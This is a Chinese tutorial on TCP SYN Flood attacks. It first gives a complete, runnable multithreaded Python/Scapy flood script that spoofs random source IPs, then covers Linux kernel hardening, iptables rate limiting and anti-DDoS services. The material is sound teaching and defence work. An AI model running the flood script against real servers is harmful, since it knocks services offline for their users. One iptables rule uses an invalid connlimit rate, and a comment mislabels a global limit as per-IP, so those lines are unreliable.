从防御视角看TCP SYN Flood:如何用Python重现攻击并学习防护策略

# 从防御视角看TCP SYN Flood:如何用Python重现攻击并学习防护策略 在网络安全领域,理解攻击者的思维和手段,往往是构建坚固防御体系的第一步。对于许多初入行的安全工程师或对底层网络原理感兴趣的开发者来说,拒绝服务攻击(DoS)听起来可能像是一个遥远的概念,但TCP SYN Flood攻击却是一个历久弥新、极具代表性的经典案例。它不依赖于复杂的漏洞利用,而是巧妙地利用了TCP协议设计中的一个固有环节——三次握手,通过一种“资源耗尽”的逻辑,让目标服务陷入瘫痪。这种攻击的优雅与破坏力并存,使其成为学习网络攻防的绝佳切入点。 今天,我们不再仅仅从攻击脚本的编写者角度出发,而是切换到一个**防御者**的视角。我们将亲手用Python搭建一个实验环境,重现TCP SYN Flood攻击的完整过程。但我们的目的并非为了破坏,而是为了**深度透视**。通过观察攻击流量如何产生、系统资源如何被蚕食,我们将一步步拆解其背后的技术原理,包括半连接队列、RTT时间窗口、操作系统内核参数等关键概念。更重要的是,我们将基于这些深刻的理解,探讨并实践一系列从系统层到应用层、从被动响应到主动防御的防护策略。这篇文章是为那些希望知其然更知其所以然的安全实践者准备的,我们将把攻击代码当作显微镜,用它来观察网络的“免疫系统”是如何工作的。 ## 1. 实验环境搭建与攻击原理深度解析 在动手编写任何代码之前,我们必须先建立一个安全、隔离的实验环境。我强烈建议使用虚拟机(如VirtualBox或VMware)来构建一个简单的局域网。你需要两台虚拟机:一台作为攻击者(Attacker),安装Kali Linux或任何带有Python和Scapy的Linux发行版;另一台作为靶机(Target),可以安装Ubuntu Server。确保它们在同一网络段内,并能互相ping通。这个沙盒环境是我们所有实验的基石,它能确保我们的学习行为不会对任何真实网络造成影响。 TCP SYN Flood攻击的核心,在于对TCP三次握手过程的恶意利用。让我们先快速回顾一下正常的握手流程: 1. **客户端发送SYN**:客户端向服务器发送一个SYN(同步)报文段,请求建立连接,并初始化一个序列号(Seq)。 2. **服务器回应SYN-ACK**:服务器收到SYN后,将连接信息放入一个名为 **`SYN_RECV`队列**(或称半连接队列)的地方,然后向客户端回复一个SYN-ACK(同步-确认)报文段。 3. **客户端发送ACK**:客户端收到SYN-ACK后,向服务器发送最终的ACK确认。服务器收到后,将此连接从半连接队列移出,放入`ESTABLISHED`队列(全连接队列),连接建立完成。 攻击者正是瞄准了第二步。攻击者会伪造大量源IP地址,向靶机发送海量的SYN包。对于每一个SYN,靶机都会忠实地分配内存、创建控制块、放入半连接队列,并回复SYN-ACK。然而,由于源IP是伪造的(通常是不存在或不可达的地址),这些SYN-ACK报文如同石沉大海,永远等不到来自“客户端”的第三次ACK。 > **注意**:这里涉及一个关键的系统行为。服务器在发出SYN-ACK后,会启动一个定时器等待ACK。这个等待时间与**RTT(Round-Trip Time,往返时间)** 密切相关,但通常系统会设置一个重传超时时间(如Linux下`net.ipv4.tcp_synack_retries`控制重试次数)。在超时之前,这个半开连接会一直占用着队列位置和系统资源。 当攻击者以远超服务器处理能力的速度发送SYN包时,半连接队列很快就会被这些“僵尸”连接填满。此时,任何合法的SYN请求都无法再进入队列,服务器表现为对新的连接请求无响应,从而实现拒绝服务。下表对比了正常连接与恶意SYN Flood连接的状态差异: | 特征 | 正常TCP连接 | SYN Flood恶意连接 | | :--- | :--- | :--- | | **源IP地址** | 真实、可达 | 伪造、不可达 | | **握手完成度** | 完整三次握手 | 仅完成前两步(半开连接) | | **服务器资源占用** | 临时占用后释放 | 长期占用直至超时 | | **对服务器的影响** | 建立有效会话 | 耗尽半连接队列,阻止新连接 | 理解了这些,我们就能明白,防御SYN Flood的关键在于:**如何高效地识别并清理这些恶意的半开连接,或者从根本上避免为它们分配宝贵的系统资源**。 ## 2. 使用Python与Scapy重现攻击流量 为了真正理解攻击,我们需要“制造”攻击流量。Python的Scapy库是一个强大的交互式数据包操作工具,它允许我们构造、发送和嗅探网络层的数据包。下面,我们将编写一个结构清晰、便于学习的SYN Flood模拟脚本。请注意,此脚本**仅限在您自己控制的实验环境中运行**。 首先,确保在攻击者机器上安装了Scapy: ```bash pip install scapy ``` 我们的攻击脚本将包含几个核心功能:随机生成源IP以模拟分布式攻击、构造TCP SYN数据包、以多线程方式发送以增加压力。以下是完整的示例代码,我加入了详细的注释: ```python #!/usr/bin/env python3 """ TCP SYN Flood 模拟脚本 - 仅供教育及授权测试使用 环境:受控实验网络 """ import sys import random import threading import time from scapy.all import IP, TCP, send, conf # 关闭Scapy冗长的输出 conf.verb = 0 class SYNFloodSimulator: def __init__(self, target_ip, target_port=80, threads=5): """ 初始化模拟器 :param target_ip: 目标服务器IP地址 :param target_port: 目标服务端口(如80-HTTP) :param threads: 并发线程数,用于增加发送速率 """ self.target_ip = target_ip self.target_port = target_port self.thread_count = threads self.packet_count = 0 self.running = False def generate_random_ip(self): """生成一个随机的伪造源IP地址""" return f"{random.randint(1, 254)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}" def craft_syn_packet(self): """构造一个TCP SYN数据包""" # 随机源IP和源端口 src_ip = self.generate_random_ip() src_port = random.randint(1024, 65535) # 构造IP层和TCP层 # IP层:设置伪造的源IP和目标IP ip_layer = IP(src=src_ip, dst=self.target_ip) # TCP层:设置源端口、目标端口,flags='S'表示SYN包,随机初始化序列号 tcp_layer = TCP(sport=src_port, dport=self.target_port, flags='S', seq=random.randint(0, 4294967295)) return ip_layer / tcp_layer def flood_worker(self): """每个线程执行的工作函数:持续构造并发送SYN包""" while self.running: try: packet = self.craft_syn_packet() send(packet, verbose=False) self.packet_count += 1 # 每发送1000个包打印一次进度,避免刷屏 if self.packet_count % 1000 == 0: print(f"[*] 已发送 SYN 包数量: {self.packet_count}", end='\r') except Exception as e: # 忽略发送过程中可能出现的轻微错误 pass def start(self, duration=30): """启动SYN Flood模拟,持续指定秒数""" print(f"[+] 目标: {self.target_ip}:{self.target_port}") print(f"[+] 启动 {self.thread_count} 个发送线程...") self.running = True self.packet_count = 0 # 创建并启动线程 threads = [] for i in range(self.thread_count): t = threading.Thread(target=self.flood_worker) t.daemon = True t.start() threads.append(t) # 让主线程休眠,模拟攻击持续一段时间 print(f"[+] 模拟攻击进行中,将持续 {duration} 秒...") time.sleep(duration) # 停止攻击 self.stop() print(f"\n[+] 模拟攻击结束。") print(f"[+] 总计发送 SYN 包约: {self.packet_count} 个") def stop(self): """停止攻击""" self.running = False time.sleep(1) # 给线程一点时间退出 if __name__ == "__main__": # 使用示例:python3 syn_flood_sim.py 192.168.1.100 if len(sys.argv) != 2: print(f"用法: {sys.argv[0]} <目标IP地址>") sys.exit(1) target = sys.argv[1] simulator = SYNFloodSimulator(target_ip=target, threads=10) try: simulator.start(duration=20) # 模拟攻击20秒 except KeyboardInterrupt: print("\n[!] 用户中断。") simulator.stop() ``` 运行这个脚本后,你可以立即在靶机上观察到效果。打开终端,使用`netstat`命令或`ss`命令来监控连接状态: ```bash # 在靶机上执行,观察SYN_RECV状态的连接数 watch -n 1 \"netstat -tuna | grep SYN_RECV | wc -l\" ``` 在攻击开始后,你会看到这个数字急剧上升,直到达到系统限制。同时,使用`top`或`htop`命令,你可能会观察到系统内核(`kernel`)或网络中断处理(`ksoftirqd`)的CPU使用率显著升高。这正是资源被消耗的直接证据。 ## 3. 系统级防护策略与内核参数调优 当我们亲眼目睹了攻击如何生效,防御的思路就变得清晰起来。防护的核心在于**管理半连接队列**和**加速无效连接的清理**。现代操作系统提供了一系列内核参数供我们调整,以增强对SYN Flood的抵抗力。以下是一些在Linux系统上最关键的防护参数及其调优建议。 首先,我们可以查看系统当前的半连接队列和全连接队列大小: ```bash # 查看当前监听端口的连接队列设置 ss -lnt # 或者查看特定端口,例如80 ss -lnt sport = :80 # 查看系统级别的半连接队列最大长度 sysctl net.ipv4.tcp_max_syn_backlog # 查看SYN Cookie是否启用 sysctl net.ipv4.tcp_syncookies ``` **关键防护参数详解:** 1. **启用 SYN Cookies (`net.ipv4.tcp_syncookies`)**: 这是对抗SYN Flood最著名、最有效的机制之一。当`syncookies`启用(值为1)且半连接队列即将满时,服务器不再在内存中为SYN请求分配资源,而是根据连接信息计算出一个特殊的序列号(即SYN Cookie)放在SYN-ACK中发回。只有当一个携带正确Cookie的ACK回来时,服务器才分配资源建立连接。这从根本上避免了资源被未完成的握手占用。 ```bash # 永久启用SYN Cookies echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf sysctl -p ``` 2. **调整半连接队列大小 (`net.ipv4.tcp_max_syn_backlog`)**: 这个参数定义了系统全局的SYN_RECV队列的最大长度。适当增大此值可以容忍更短暂的突发流量,但设置过大会消耗更多内存。调整需结合服务器内存和业务流量。 ```bash # 临时增大半连接队列 sysctl -w net.ipv4.tcp_max_syn_backlog=2048 ``` 3. **优化半开连接的超时与重传 (`net.ipv4.tcp_synack_retries`)**: 这个参数控制服务器在未收到ACK时,重发SYN-ACK包的次数。减少重试次数可以更快地释放半开连接。在遭受攻击时,将其设为较小的值(如2)是常见做法。 ```bash # 减少SYN-ACK重传次数 sysctl -w net.ipv4.tcp_synack_retries=2 ``` 4. **使用连接跟踪超时 (`net.netfilter.nf_conntrack_tcp_timeout_syn_recv`)**: 如果服务器启用了连接跟踪(如使用iptables做状态防火墙),这个参数定义了SYN_RECV状态连接在跟踪表中的存活时间。缩短它可以加速清理。 ```bash # 缩短SYN_RECV状态的超时时间(单位:秒) sysctl -w net.netfilter.nf_conntrack_tcp_timeout_syn_recv=30 ``` 一个综合的防护配置示例可能如下所示。你可以创建一个脚本(如`/usr/local/bin/harden_syn_flood.sh`)来一键应用这些优化: ```bash #!/bin/bash # 针对SYN Flood的Linux内核参数加固脚本 echo "应用SYN Flood防护优化..." sysctl -w net.ipv4.tcp_syncookies=1 sysctl -w net.ipv4.tcp_max_syn_backlog=4096 sysctl -w net.ipv4.tcp_synack_retries=2 sysctl -w net.ipv4.tcp_syn_retries=2 sysctl -w net.ipv4.tcp_abort_on_overflow=0 # 通常保持为0,不直接拒绝新连接 # 如果使用conntrack sysctl -w net.netfilter.nf_conntrack_tcp_timeout_syn_recv=30 echo "优化完成。当前设置:" sysctl -a | grep -E \"tcp_syncookies|tcp_max_syn_backlog|tcp_synack_retries|nf_conntrack_tcp_timeout_syn_recv\" ``` > **提示**:内核参数的调整没有放之四海而皆准的“最佳值”。你需要根据服务器的硬件配置(内存、CPU)、网络带宽以及正常业务流量模式进行测试和调整。建议先在非生产环境进行压力测试,观察系统在模拟攻击下的表现。 ## 4. 应用层与网络层的高级缓解方案 除了调整操作系统内核,我们还可以在网络边界和应用架构层面部署更主动、更智能的防御措施。这些方案通常能提供更精细的控制和更强的抗攻击能力。 **网络层防御:利用iptables进行流量过滤** Linux自带的`iptables`防火墙是一个强大的工具,可以基于规则对SYN包进行限速或丢弃,从而保护后端服务。 - **限制单个IP的SYN连接速率**:这可以防止一个IP地址在短时间内发起大量连接请求。 ```bash # 限制每个IP地址每秒只能新建10个SSH连接(端口22) iptables -A INPUT -p tcp --dport 22 --syn -m connlimit --connlimit-above 10/sec -j REJECT --reject-with tcp-reset # 更通用的SYN包限速规则,限制每个IP每秒最多20个SYN包 iptables -A INPUT -p tcp --syn -m limit --limit 20/s --limit-burst 30 -j ACCEPT iptables -A INPUT -p tcp --syn -j DROP ``` 第一条规则使用`connlimit`模块限制连接频率,第二条使用`limit`模块限制SYN包速率,超过限制的包将被丢弃。 - **使用`recent`模块识别并封禁异常IP**:这个模块可以跟踪最近访问的IP地址,并对行为异常的IP(如短时间内发送过多SYN包)采取行动。 ```bash # 创建一个链来处理SYN Flood iptables -N SYN_FLOOD iptables -A INPUT -p tcp --syn -j SYN_FLOOD # 在SYN_FLOOD链中:记录IP,如果60秒内超过30个SYN包,则丢弃并记录日志 iptables -A SYN_FLOOD -m recent --name BADGUYS --update --seconds 60 --hitcount 30 -j LOG --log-prefix "[SYN Flood Blocked] " iptables -A SYN_FLOOD -m recent --name BADGUYS --update --seconds 60 --hitcount 30 -j DROP # 将发送SYN包的IP加入BADGUYS列表 iptables -A SYN_FLOOD -m recent --set --name BADGUYS -j ACCEPT ``` **部署专业的抗DDoS设备或服务** 对于面向公网、可能遭受大规模攻击的业务,考虑商用解决方案是必要的: - **云服务商提供的DDoS防护**:如阿里云DDoS高防、腾讯云大禹、AWS Shield等。它们通常在网络入口处提供流量清洗中心,能够识别并过滤掉恶意流量,只将正常流量转发到你的服务器。 - **硬件防护设备**:部署在机房入口的专用抗D设备,能够基于更复杂的算法和更大的流量处理能力进行防护。 **架构层面的优化** 有时,通过调整应用架构也能有效缓解攻击影响: - **增加服务器资源与负载均衡**:通过横向扩展,增加后端服务器数量,并使用负载均衡器(如Nginx、HAProxy)分发流量。即使单台服务器半连接队列被填满,其他服务器仍可提供服务。负载均衡器本身也可以配置连接限制和健康检查。 - **使用Web应用防火墙(WAF)**:WAF不仅能防护应用层攻击(如SQL注入),许多产品也具备基础的DDoS缓解能力,可以设置针对IP或会话的速率限制规则。 - **设置更短的超时时间**:在应用程序或Web服务器配置中,为连接设置较短的超时时间,可以加速释放资源。例如,在Nginx中调整`client_header_timeout`和`client_body_timeout`。 防御是一个多层次、持续的过程。从内核参数调优到防火墙规则,再到云端防护和架构扩展,每一层都在增加攻击者的成本和难度。理解TCP SYN Flood的原理,并亲手实践攻防两端的代码与配置,能让你在应对真实威胁时更加从容。安全没有银弹,但扎实的知识和清晰的策略是你最可靠的防线。

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

Python内容推荐

基于 DDPM 的光伏功率时序场景生成方法研究(Python代码实现)

基于 DDPM 的光伏功率时序场景生成方法研究(Python代码实现)

内容概要:本文系统研究了基于去噪概率扩散模型(DDPM)的光伏功率时序场景生成方法,提出了一种利用Python实现的高精度、强波动性光伏出力场景生成框架。文章深入解析了DDPM的核心机制,包括前向扩散过程与反向去噪过程的数学原理,并结合真实光伏功率数据进行模型训练与采样,有效捕捉了光照强度、气象条件等外部因素导致的功率波动特性。相较于传统的蒙特卡洛模拟和生成对抗网络(GAN)等方法,该方法在保持时间序列相关性、统计分布一致性和场景多样性方面表现出更强的能力,特别适用于高比例可再生能源接入背景下的电力系统规划、运行调度与风险评估。此外,文档还整合了大量相关科研资源,涵盖W-GAN、条件GAN、联邦学习、电动汽车承载力评估等多个前沿方向,构建了一个面向新能源场景生成与电力系统优化的综合性技术生态体系。; 适合人群:具备一定Python编程能力和机器学习理论基础,从事新能源发电预测、电力系统优化、智能算法应用等领域的研究生、科研人员及工程技术人员。; 使用场景及目标:①用于电力系统中光伏出力不确定性的精细化建模与多场景生成,支撑含高比例可再生能源的调度决策、规划分析与风险评估;②为学术研究提供可复现、易扩展的DDPM模型代码框架,推动扩散模型在能源领域时间序列生成任务中的落地与创新;③结合文中提供的Matlab/Python开源资源,拓展至风电功率预测、负荷场景生成、电动汽车接入优化等交叉研究方向,促进多学科融合创新。; 阅读建议:建议读者结合文档中提供的完整代码资源(可通过公众号“荔枝科研社”获取)进行动手实践,优先透彻理解DDPM的算法流程与关键模块设计后再迁移至具体应用场景。同时可参考文中列出的相关论文复现项目,逐步构建完整的科研知识体系和技术积累路径。

复现电表数据隐私保护下的联邦学习行业电力负荷预测框架(Python代码实现)

复现电表数据隐私保护下的联邦学习行业电力负荷预测框架(Python代码实现)

内容概要:本文提出了一种面向电表数据隐私保护的联邦学习行业电力负荷预测框架,通过Python代码实现,解决了多参与方在数据孤岛和隐私受限条件下难以协同建模的问题。该框架基于联邦学习机制,允许多个电力用户或企业在不共享原始用电数据的前提下,共同训练高性能的负荷预测模型。文中详细介绍了系统架构设计、本地模型训练流程、全局参数聚合策略以及差分隐私等隐私保护技术的融合方法,有效保障了数据安全性,同时提升了行业级负荷预测的准确性与泛化能力,适用于电力公司、工业园区等多方协作的分布式预测场景。; 适合人群:具备一定Python编程基础和机器学习知识,从事电力系统分析、能源管理、智能电网或数据隐私保护相关研究的研发人员及高校研究生。; 使用场景及目标:①应用于跨企业、跨区域的电力负荷协同预测任务;②解决传统集中式预测因数据隐私问题导致的模型训练障碍;③推动联邦学习在能源领域的实际落地,实现安全、高效、合规的行业智能化升级。; 阅读建议:读者应结合提供的Python代码进行动手实践,重点理解联邦学习的通信机制、本地模型更新方式与全局聚合逻辑,并可通过构建多客户端仿真环境来验证框架的收敛性、预测性能及隐私保护效果。

复现基于改进扩散模型的高海拔地区新能源高波动出力场景生成方法(Python代码实现)

复现基于改进扩散模型的高海拔地区新能源高波动出力场景生成方法(Python代码实现)

内容概要:本文提出一种基于改进扩散模型的高海拔地区新能源高波动出力场景生成方法,针对高海拔地区光伏、风电等新能源出力存在的强不确定性与剧烈波动性问题,通过改进扩散模型结构并引入适应性训练策略,有效捕捉新能源出力的时间序列特征与极端波动行为,生成高保真、统计一致性良好的出力场景。该方法为电力系统在高比例新能源接入背景下的规划、调度、风险评估及储能配置提供了高质量的数据支撑,并配套提供了完整的Python代码实现,便于科研人员复现与二次开发。; 适合人群:具备一定Python编程能力和机器学习基础知识,从事新能源发电预测、电力系统运行优化、随机规划、场景生成等方向研究的研究生、科研人员及工程师。; 使用场景及目标:①解决高海拔地区新能源出力波动剧烈、传统模型难以精确建模的问题;②生成满足统计特性要求的多维新能源出力场景,用于随机优化、鲁棒调度、容量配置等电力系统分析;③深入理解扩散模型在时间序列生成任务中的改进思路与技术实现路径,推动其在能源系统中的应用创新。; 阅读建议:建议读者结合所提供的Python代码进行动手实践,重点理解扩散过程设计、噪声预测网络架构、损失函数构造及采样策略等核心模块,同时可对比W-GAN、DDPM等主流生成模型,评估该方法在生成质量与稳定性方面的优势与局限。

【分布式联邦学习】居民电力负荷预测+隐私保护研究(Python代码实现)

【分布式联邦学习】居民电力负荷预测+隐私保护研究(Python代码实现)

内容概要:本文围绕基于分布式联邦学习的居民电力负荷预测与隐私保护展开研究,提出了一种在保障用户数据隐私前提下实现高效负荷预测的技术框架。研究采用联邦学习机制,使多个参与方能够在不共享原始用电数据的情况下协同训练预测模型,有效规避了传统集中式建模带来的隐私泄露风险。技术实现上融合了LSTM、GAN等深度学习模型,用于捕捉居民用电行为的时间序列特征,并引入Wasserstein生成对抗网络(W-GAN)和去噪扩散模型(DDPM)增强对新能源出力不确定性及复杂用电场景的建模能力。整体方案兼具算法创新性与工程可行性,适用于新型电力系统背景下智能电网的数据安全与智能决策需求。; 适合人群:具备一定Python编程基础和机器学习知识,从事电力系统、能源互联网、人工智能相关研究的科研人员及研究生。; 使用场景及目标:①实现居民侧电力负荷的高精度预测;②在保障用户用电数据隐私安全的基础上开展跨区域模型协作训练;③探索联邦学习与生成模型在电力场景生成与不确定性建模中的融合应用。; 阅读建议:建议读者结合提供的代码资源进行实践操作,重点关注联邦学习架构的设计细节与模型通信机制,并可进一步扩展至光伏、风电等新能源场景的联合预测研究。

GCC安装包(windows版)

GCC安装包(windows版)

源码直接下载地址: https://pan.quark.cn/s/a4b39357ea24 在Windows系统环境中部署的GCC安装软件,内含用户所需的所有库文件。

基于深度学习的三相电压源逆变器开路故障诊断框架,利用α β电流轨迹成像和ResNet-50  视觉变压器模型。.zip

基于深度学习的三相电压源逆变器开路故障诊断框架,利用α β电流轨迹成像和ResNet-50 视觉变压器模型。.zip

1.版本:matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

易语言源码易语言网页颜色计算器源码

易语言源码易语言网页颜色计算器源码

易语言源码易语言网页颜色计算器源码

在VSCode中构建Vue项目

在VSCode中构建Vue项目

源码链接: https://pan.quark.cn/s/6d0bd8ec7575 在vscode上搭建一个vue项目—初学总结。 1.假设Vscode、nodejs等已经安装好了。 2.全局安装vue-cli,vue-cli可以帮助我们快速构建Vue项目。 安装命令: npm install -g vue-cli 打开VScode的终端,调出命令输入框。 点击终端-新建终端,输入上述命令,回车,等待安装完成。 3.安装webpack,它是打包js的工具 安装命令: npm install -g webpack 安装方法同上。 4.安装完成之后就可以开始创建vue项目,首先创建一个文件夹用来存放你的项目,用vscode打开对应的文件夹,并在终端cd到对应的文件夹。 比如我

道路安全锥交通锥检测数据集7091张VOC+YOLO格式

道路安全锥交通锥检测数据集7091张VOC+YOLO格式

道路安全锥交通锥检测数据集7091张VOC+YOLO格式 数据集格式:Pascal VOC格式+YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):7091 标注数量(xml文件个数):7091 标注数量(txt文件个数):7091 标注类别数:8 所在github仓库:datasets_sl 标注类别名称(注意yolo格式类别顺序不和这个对应,而以labels文件夹classes.txt为准):["blue","blue_cone","large_orange_cone","orange","orange_cone","unknown_cone","yellow","yellow_cone"] 每个类别标注的框数: blue 框数 = 596 blue_cone 框数 = 51558 large_orange_cone 框数 = 4593 orange 框数 = 1909 orange_cone 框数 = 12482 unknown_cone 框数 = 4222 yellow 框数 = 1356 yellow_cone 框数 = 52735 总框数:129451 每个类别占有图片数: blue 占有图片数 = 356 blue_cone 占有图片数 = 5546 large_orange_cone 占有图片数 = 1850 orange 占有图片数 = 500 orange_cone 占有图片数 = 2504 unknown_cone 占有图片数 = 440 yellow 占有图片数 = 502 yellow_cone 占有图片数 = 5386 图片分辨率:640x640 使用标注工具:labelImg 数据集是否增强:否 标注规则:对类别进行画矩形框 重要说明:数据集没有划分

永磁同步电机FOC闭环控制详解.docx

永磁同步电机FOC闭环控制详解.docx

源码下载地址: https://pan.quark.cn/s/a4b39357ea24 FOC 环节控制全面说明 FOC(磁场定向控制)闭环控制属于永磁同步电机(PMSM)的一种控制策略,其核心在于通过对电机电流实施调控,进而达成对电机输出转矩(电流表现)、运行速度及具体位置的有效管理。FOC 控制策略的构成要素涵盖了电流的采集过程、坐标体系转换(包括Clark变换、Park变换及反Park变换)以及SVPWM调制等关键环节。FOC控制策略的基本理念是通过精细调控电机电流,从而实现对电机输出转矩(电流形态)、运行速度与具体位置的有效掌控。一般情况下,电流环节被设定为最内层闭环,速度环节处于中间层级,而位置环节则构成最外层闭环。在FOC控制过程中,必须对电机电流进行实时监测,并将其转化为dq轴电流值,随后运用PI控制器对电流进行修正,以此达成对电机转矩的精确调控。在FOC控制框架内,电机速度的调控同样至关重要,此目标可通过在电流环基础上增设一个速度环来实现。速度环的输出结果将作为电流环的输入信号,从而促成速度与电流的双重闭环控制机制。进一步地,对于位置控制功能,需要在速度电流环的外围构建一个位置环,借此实现涵盖位置、速度及电流的三重闭环控制体系。在位置控制的应用场景中,必须采集电机的实时位置信息,并将其与预设的位置目标值进行对比,进而计算出两者之间的偏差量,随后通过PID控制器对这一偏差进行修正,最终实现位置控制的精确性。在工业实践领域,FOC控制策略被广泛部署于永磁同步电机的操控系统中,诸如电机驱动系统、伺服系统等场合。FOC控制策略的优势在于能够实现高精度的电机操控,然而,其应用也伴随着若干局限性,例如对磁编码器的依赖性较高、系统可能存在延迟现象等。在系统学习...

分辨率VESA标准文件-下载即用.zip

分辨率VESA标准文件-下载即用.zip

源码链接: https://pan.quark.cn/s/f029b7e90b9e 显示设备接口符合 VESA 协议规范

GPS NMEA-0183解析代码

GPS NMEA-0183解析代码

代码下载地址: https://pan.quark.cn/s/ad4cbdefb9a8 NMEA-0183协议中包含了数量庞大的语句定义,然而在实际应用中,频繁使用或具备最佳兼容性的语句仅限于$GPGGA、$GPGSA、$GPGSV、$GPRMC、$GPVTG以及$GPGLL这几类。本代码致力于提供相应的数据解析方案,关于各语句格式的详细说明,可参考链接https://blog.csdn.net/u012572552/article/details/84587926获取。

多接地配电系统的基于PMU的系统状态估计(Matlab代码实现)

多接地配电系统的基于PMU的系统状态估计(Matlab代码实现)

内容概要:本文系统阐述了多接地配电系统中基于相量测量单元(PMU)的状态估计方法,并配套提供了完整的Matlab代码实现。该方法充分利用PMU提供的高精度、时间同步的电压电流相量数据,构建精确的数学模型,结合优化估计算法,实现对配电系统关键状态变量(如节点电压、支路电流等)的高精度、实时估计。研究特别关注多接地系统中不同接地方式(如中性点不接地、经小电阻接地、经消弧线圈接地等)对系统电气特性和状态估计精度的影响,通过精细化的建模有效提升了算法在复杂实际场景下的鲁棒性与准确性。此项技术显著增强了新型电力系统,尤其是在高比例分布式电源接入背景下配电网的可观测性,为实现精准的故障诊断、快速恢复控制和系统安全稳定运行提供了核心技术支撑; 适合人群:具备电力系统分析、状态估计理论基础和Matlab编程能力的研究生、高校科研人员及电力系统自动化、智能配电网领域的工程技术人员; 使用场景及目标:①应用于高等院校和科研院所,进行配电系统状态估计、PMU应用、智能电网监控等方向的学术研究与仿真验证;②服务于电力公司或自动化设备厂商,用于开发高级配电管理系统(ADMS)中的核心状态估计模块,提升配电网的实时监控与智能化管理水平; 阅读建议:读者应在掌握电力系统状态估计基本原理的前提下,结合所提供的Matlab代码深入剖析算法的具体实现流程,建议通过调整网络拓扑结构、修改系统参数或模拟不同接地故障场景等方式,动手实践以充分验证和理解该方法的有效性、适应性及局限性。

Linux命令su、sudo、sudo su、sudo -i说明与区别.doc

Linux命令su、sudo、sudo su、sudo -i说明与区别.doc

已经博主授权,源码转载自 https://pan.quark.cn/s/09a989c9d455 sudo 与 su 这两个命令之间存在着显著的不同点:在使用 sudo 命令时,需要提供当前登录用户的密码进行验证,而 su 命令则要求输入 root 用户的密码。此外,它们在默认操作行为上也有区别。具体来说,sudo 命令仅允许以提升的权限执行单个命令,而 su 命令会启动一个新的 shell 会话,并且允许以 root 权限执行多个命令,直到明确退出该会话。在 Linux 操作系统中,熟练掌握 su、sudo 以及它们的不同变体,如 sudo su 和 sudo -i,具有非常重要的意义。这些命令主要用于权限管理,特别是在需要以管理员(root)身份执行任务时。接下来将详细阐述这些命令的具体用法及其之间的差异。 1. **su(Switch User)**: su 命令的功能在于从一个用户切换到另一个用户,通常用于切换到 root 用户以获取更高的权限。当使用 su 命令时,系统会请求输入目标用户的密码。例如,执行 `su root` 将会切换至 root 用户。然而,需要注意 su 命令在默认情况下不会改变环境变量,会保持原用户的设置。如果希望完全模拟新用户的环境,应当使用 `su -` 或 `su -l`,这两种方式会加载目标用户的 Shell 配置文件并将工作目录切换至该用户的家目录。 2. **sudo(Super User DO)**: 相比之下,sudo 命令允许用户以其他用户(通常为 root)的身份执行单个命令,而无需知晓该用户的密码。用户需要提供的密码是其自己的密码,因为 sudo 的权限控制是基于用户配置的。在大多数系统中,sudo 执行的命令会设有时...

AI生图系统 PHP 源码 开源 AI 绘画平台 支持文生图图生图

AI生图系统 PHP 源码 开源 AI 绘画平台 支持文生图图生图

一、功能概览 前台用户端功能 用户账号体系 支持邮箱验证码注册、账号登录与退出登录,保障用户身份安全。 AI 绘图能力 文生图:输入提示词即可一键生成图片,支持 1:1、16:9、9:16、4:3、3:4 多种常用尺寸 图生图:可上传或粘贴参考图片,基于原图做 AI 二次编辑优化 任务调度管理 实时展示任务排队状态、处理进度,任务异常自动重试,避免绘图失败丢失任务。 个人作品画廊 统一存储所有生成作品,支持分类筛选(全部、成功、失败、处理中、排队中)、关键词搜索;支持批量选中、批量重新生成失败作品。 站点实时数据看板 首页可视化展示当前在线人数、排队任务数量、平均生图速度、全站总消耗额度。 系统公告模块 后台可发布多类型公告,以顶部横幅形式在前台首页展示。 积分等级体系 AI 创作消耗积分,完成作品发布可赚取积分,分享作品可获得积分额外奖励,积分累计提升用户等级。 后台管理端功能 数据仪表盘 直观统计今日注册用户数、今日绘图任务量、任务成功率、API 调用错误次数等核心运营数据。 用户管理 可查看全站用户列表,支持账号启用 / 禁用、手动调整用户积分额度、重置用户登录密码。 任务管理 查看全站所有绘图任务,支持对批量失败任务一键重新执行。 画廊内容审核 管理员可审核用户公开作品,设置作品展示或隐藏状态,规避违规内容风险。 公告管理 支持新增、编辑、删除公告,提供普通提示、成功、警告、错误四种公告展示样式。 API 接口配置 可配置 API 中转站地址、密钥、选用模型、请求超时时间、接口最大并发数量。 邮箱配置 基于 SMTP 协议配置发件邮箱,支持 QQ、163、Gmail 等主流邮箱,内置发信测试功能。 系统全局设置 自定义站点名称、新用户初始积分额度、图片本地留存天数、站点注册功能开关。

在HTML中使用自定义字体

在HTML中使用自定义字体

代码下载地址: https://pan.quark.cn/s/5a0279133f80 ### 在HTML中应用非标准字体的方法 在网页设计实践中,采用非标准字体能够使网站展现独特的风格,进而改善用户的浏览感受。本文将系统阐述如何在HTML文档中实现非标准字体的应用,并辅以示例代码进行演示。 #### 一、认识@font-face指令 要在HTML页面中嵌入非标准字体,必须首先掌握CSS中的`@font-face`指令。该指令能够让开发者明确指定一种特定的字体文件,并指导浏览器如何处理这种字体。`@font-face`指令的基本书写格式如下: ```css @font-face { font-family: fontFamilyName; /* 字体家族的名称 */ src: /* 指明字体文件存放的路径 */; } ``` #### 二、整合多种格式的字体文件 当前的网络浏览器支持多种字体类型,为了保障所有浏览器都能正常显示字体,通常需要准备多种不同格式的字体文件,如EOT、WOFF、TTF和SVG等。下面是一个完整的`@font-face`指令范例: ```css @font-face { font-family: fontFamilyNameRegular; src: url(fontFamilyName.eot); /* IE9的兼容模式 */ src: local(fontFamilyNameRegular), /* 浏览器首先尝试在本地系统查找字体 */ local(fontFamilyName), url(fontFamilyName.woff) format(woff), /* 现代浏览器使用格式 */ url(fontFamilyName.tt...

bootstrap-select下拉框demo(含多种样式)

bootstrap-select下拉框demo(含多种样式)

